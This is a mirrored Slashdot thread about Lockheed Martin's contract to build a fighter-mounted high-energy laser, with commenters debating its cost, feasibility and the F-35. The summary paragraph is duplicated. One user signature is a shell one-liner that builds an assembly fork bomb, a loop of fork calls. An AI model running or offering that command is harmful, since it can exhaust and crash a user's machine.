Slashdot Mirror
Lockheed Martin To Build High-Energy Airborne Laser For Fighter Planes (newatlas.com)
Slashdot reader Big Hairy Ian quotes New Atlas: In a move that could revolutionize aerial combat, the US Air Force Research Lab (AFRL) has awarded Lockheed Martin a US$26.3 million contract to design, develop, and produce a high-power laser weapon that the AFRL wants to install and test on a tactical fighter jet by 2021. The new test weapon is part of the AFRL Self-protect High Energy Laser Demonstrator (SHiELD) program tasked with developing airborne laser systems.
Airborne laser weapons are nothing new. Experimental lasers mounted on aircraft date back to the US Strategic Defense Initiative of the 1980s, but producing a practical weapon system has proven difficult. Previous attempts have resulted in dodgy chemical laser weapons so bulky that they had to be mounted in a 747, but the development of solid state fiber optic lasers is starting to change the game. Earlier this year, Lockheed's ground-based ATHENA system shot down five 10.8-ft (3.3-m) wingspan Outlaw drones by focusing its 30-kW Accelerated Laser Demonstration Initiative (ALADIN) laser at their stern control surfaces until they burned off, sending them crashing into the desert floor.
Airborne laser weapons are nothing new. Experimental lasers mounted on aircraft date back to the US Strategic Defense Initiative of the 1980s, but producing a practical weapon system has proven difficult. Previous attempts have resulted in dodgy chemical laser weapons so bulky that they had to be mounted in a 747, but the development of solid state fiber optic lasers is starting to change the game. Earlier this year, Lockheed's ground-based ATHENA system shot down five 10.8-ft (3.3-m) wingspan Outlaw drones by focusing its 30-kW Accelerated Laser Demonstration Initiative (ALADIN) laser at their stern control surfaces until they burned off, sending them crashing into the desert floor.
...will it include sharks?
You know, I have one simple request. And that is to have planes with frickin' laser beams attached to their heads!
That's because Lockheed Martin, who in no way pay me to shill, are committed to delivering reliable and value for money solutions to defend American freedom.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If you were to say that out loud, would your face hurt?
Mimetics Inc. Twitter
The laser beam would presumably pass through some kind of optical turret, which can track a moving target. That's the easy part, leaving the energy and weight requirements.
If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
In the most optimistic reading, what'll be delivered is a working prototype. 26 million maybe pays for ten or twenty people. After four years, that could, in principle, be enough to field a working prototype. Maybe.
26 million is the camel's nose.
For reference look at the F-35.
The development of the Joint Strike Fighter, a fifth-generation stealth jet, has been beset by spiraling costs and schedule delays. The program's price tag is nearly $400 billion for 2,457 planes -- almost twice the initial estimate.
It little behooves the best of us to comment on the rest of us.
So the same people who brought us the F-35, Trailer Queen of Battle, are now getting even more billions of taxpayer dollars to build a fighter-borne laser?
Unless it can shoot down the enemy from inside a repair facility, I don't see much hope for this project.
I've calculated my velocity with such exquisite precision that I have no idea where I am.
almost twice the initial estimate
That's not bad...
but yeah, 26 mil is nothing, barely covers a single CEO's yearly bonus... eh, such is life
The laser beam would presumably pass through some kind of optical turret, which can track a moving target.
Or a real genius could use it for a huge tin of popcorn in their professor's house.
It must have been something you assimilated. . . .
So..... They couldn't build one that could shoot down an ICBM in its boost phase the size of a 747 but they think they can build ones 15 times smaller that can shoot much smaller targets? I realize that they probably intend much shorter engagement distances but I don't think anyone's demonstrated an effective ground based laser weapons system yet let alone an airborne one one. Most of the ones I've seen are only good at melting gas tanks on stationary/slow moving vehicles at about a mile. It might be good for a short range missile intercept system but I'm doubtful that we'll be seeing this thing melting vehicles/aircraft at missile engagement distances anytime soon.
Simple defence against lasers - mirrors.
Self-protect High Energy Laser Demonstrator (SHiELD)
Can we stop with the dumb-ass acronyms now. Its like the people coming up with these names have the mentality of a 6 year old, and the names are designed to sell to those with the thought process of a four year old.
I'm not sure what is more disappointing: The fact that there are people who are paid to try this kind of marketing, or the fact that it works.
I wish I had a good sig, but all the good ones are copyrighted
almost twice the initial estimate.
That is good. They normal rule of thumb for DoD projects is triple.
Then you get wasted by an a2a missile from 60-70 km because your fancy laser only has a range of 10 km.
The obvious solution is to put the laser on the missile, yielding a combined range of 70-80km.
Or even better, put it on a reusable drone. If you are firing a laser from 10km away, what is the purpose of the pilot?
Lockheed Martin is the company that is building the F35.
Lockheed made the SR-71, U-2, F-117, P-38, C-69 and C-130. All were innovative aircraft that were considered excellent at what they did. They also made the P-80, F-104, P-80, C-141 and C-5 and the L-1011 which were all around good aircraft. Lockheed knows how to make aircraft.
While Lockheed certainly shoulders blame for the turd that is the F-35, the biggest cause is the design by committee approach trying to service the needs of all the service branches (Air Force, Marines, Navy) as well as the international market. Kelly Johnson is surely spinning in his grave. Every time this has been tried in the past it was a complete disaster. The F-111 being the prime example... good plane but development was a complete boondoggle and it never lived up to initial requirements or expectations. The thought this time was that technology would allow them to overcome past problems (which was the same thought with the F-111) but if you put the aircraft the F-35 is meant to replace side by side you're going to see just how insane this is:
The biggest dichotomy is the Harrier vs the Strike Eagle. The AV-8B is small and lightweight to allow for VTOL, the F-15E is a bomb truck whose dry weight is more than the AV-8B's fully loaded rolling take off weight. You just can't have a VTOL aircraft that is stealthy and has a decent bomb load out. You either have a massive internal bomb bay, which pretty much rules out VTOL or you have external stores which rules out stealth. It was doomed before it ever started.
'Energy fighting' has been air combat doctrine since WW2. They didn't furball with the zeros then. High speed pass after high speed pass is how they won air battles.
It always has been about how the airplanes stacked up against each other. If in the faster plane, carrying more energy (speed and alt), pilots don't engage unless they have the advantage. Even in the slower, pilots can usually break off and end the fight. Dive for the deck and get lost in the ground clutter.
John McAfee 'It was like that time I hired that Bangkok prostitute; to do my taxes, while I fucked my accountant'
Assume you mean personyears.
If you mean ten or twenty people for four years, that's very very optimistic from a defense contractor. Or your assuming they're just generating paper.
I'd assume this is paying for one person with a good idea, a _small_ engineering team, support staff and funding to build a prototype.
John McAfee 'It was like that time I hired that Bangkok prostitute; to do my taxes, while I fucked my accountant'
You yanks are fucked.
What is the outcome of that photonic energy if the beam misses? What are the technical issues/dangers of such a situation? Could a man out standing in his field suddenly be vivisected by an errant beam? What if the streams cross, dammit?!!
I deny that I have not avoided attaining the opposite of that which I do not want.
Given how much havoc they raise on pilots, why not just mount one on a swivel to shoot in the eyes of the enemy? Or just keep one in the cockpit for hand-held pointing. Way cheaper, too.
1) The target had to be stationary. The laser just couldn't dump enough energy into the target fast enough for a sub 1 second shot to disable the truck. IIRC, it took almost 5 seconds of continuous laser on a single point for it to work. (Note that this was burning through thin gauge mild steel and not fairly beefy aircraft control surfaces made of aerospace alloys. I think a puncture on an aileron would have minimal effect, you have to damage the linkages inside in order to disable the craft)
2) The demonstration had to be a low altitude strike, similar to what the A-10 Warthog already does so well. The reason being laser bloom. It is very very hard to maintain laser focus over long distances through atmosphere. I can only assume the airflows around target aircraft would be an extra tricky environment to maintain tight focus through. (especially if the attack is coming from behind and has to cope with engine exhaust or thrust induced turbulence.) Aircraft to aircraft combat distances are pretty big, it would be very challenging to maintain focus over distances exceeding 5K while maintaining enough power to do significant damage to control surfaces in less than a second.
Overall, I think a better use for compact lasers is killing sensors. You don't have to destroy a drone to destroy it's utility to the enemy, just burn out the optics. Combine that with conventional EW and the drone becomes an unguided missile. Another use would be on the ground. Vehicle mounted systems could be used to negate the increasing use of backpack portable drones by opposing forces.
I need a wheelchair van for my son. Help me get the word out. https://www.gofundme.com/wheelchair-van-for-jj
All they need to do is lock onto the portion of the cockpit that contains the pilot's head. Every airplane has that in the same, easily identifiable location.
The Outlaw weights 120 pounds and has a maximum speed of 120 mph, a ceiling of 16,000 feet, and a 17HP two-cylinder two-stroke piston engine http://www.designation-systems.net/dusrm/m-170.html.
Lockheed, get back to me when your ground-based ATHENA system can shoot down a multi-Mach Soviet aircraft that can pull more than seven Gs.
Circle the wagons and fire inward. Entropy increases without bounds.
Or will they just build it?
---- The above post was generated by the Turing Institute. Maybe.
Every plane has a pilot for now. Not for much longer though.
26 million is the camel's nose.
For reference look at the F-35.
The development of the Joint Strike Fighter, a fifth-generation stealth jet, has been beset by spiraling costs and schedule delays. The program's price tag is nearly $400 billion for 2,457 planes -- almost twice the initial estimate.
Personally I place the blame for the F35 on the planners rather than Lockheed Martin. The project wanted too many different roles and objectives from a single aircraft. Of course LM obliged and they had the age old dilemma of Capable, Cheap or Possible, pick any two.
That being said, there isn't a production fighter available today that would be suitable in an all out war. They're all too expensive, too complex and take too long to produce. How long would the UK's current stock of Eurofighters and F35's last? There's only about 200 aircraft in a combat role in the RAF to begin with. In WWII, Britain could build a Spitfire or Hurricane faster than the Germans could shoot one down. RAF pilots are often quoted as saying that they were (during the battle of Britain) were running low on pilots, but never on planes.
Calling someone a "hater" only means you can not rationally rebut their argument.
Now I have to design my combat drones to survive loss of flight controls surfaces.
So I'll build them as flying wings with tails and tailplanes, and let the software figure out how to fly them without a tail when it's damaged/gone.
Same with either wing, or the nose cone. This is becoming a Black Knight fight. Such a nuisance. All this to get a few pounds of explosives on target. Arg!
deleting the extra space after periods so i can stay relevant, yeah.
Just for clarity, if you develop the holy grail of laser systems (i.e. a small, omni-directional, computer targeting, rapid fire, efficient laser that can destroy 1 target per second with a range of 10km) SAM and other large, long range weapons become meaningless, because they get shot down 10km away from the plane, and only direct, rapid fire kinetic weapons (like bullets) and other laser systems are a threat to a laser equipped plane in the air, but again, the source of those threats (like other planes) is a big target that will get targeted and shot down 10km away by the laser system, much farther than the effective range of their standard 30mm cannons. If you can afford to weigh down your plane, you can give it ablative ceramic armor or at the least, give it a reflective paint job for the most common EM laser frequency your enemy uses, but if they have a different frequency pointed at you, you are screwed with the reflective paint defense.
If you disagree, please post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like
I agree with you and this touches on a point I have considered since way back.
I was born in 1945 and by the time I was able to understand stuff around me, WWII was still a huge thing. I'm talking about ca. 1955.
My daddy was in the Army Air Corps, changed to Air Force after the War.
As a kid, I was familiar with the state of the art of combat and supply aircraft of that time.
Fucking fighter jets, aircraft carriers and certainly tanks, are all old school.
John McCain says the last F-35 will ship in 2040, by which time everybody else will have much newer technology.
I'm thinking mostly drones with super powers. A large part of the defense budget is troops and the need to support them.
On a human rights note, we can't afford to send people into war and we can't afford to fix them when they come back.
--
And, I agree that it's not LM.
I've followed the F-35 and it's a cluster fuck.
LM is going through the same shit you and I go through when we develop systems for end users.
They don't know what they want, and we don't either.
I'm reminded of a Dilbert cartoon:
PHB: Are you finished with the product?
Dilbert: Are you through changing the specifications?
PHB: I don't know.
Dilbert: Then I don't know.
It little behooves the best of us to comment on the rest of us.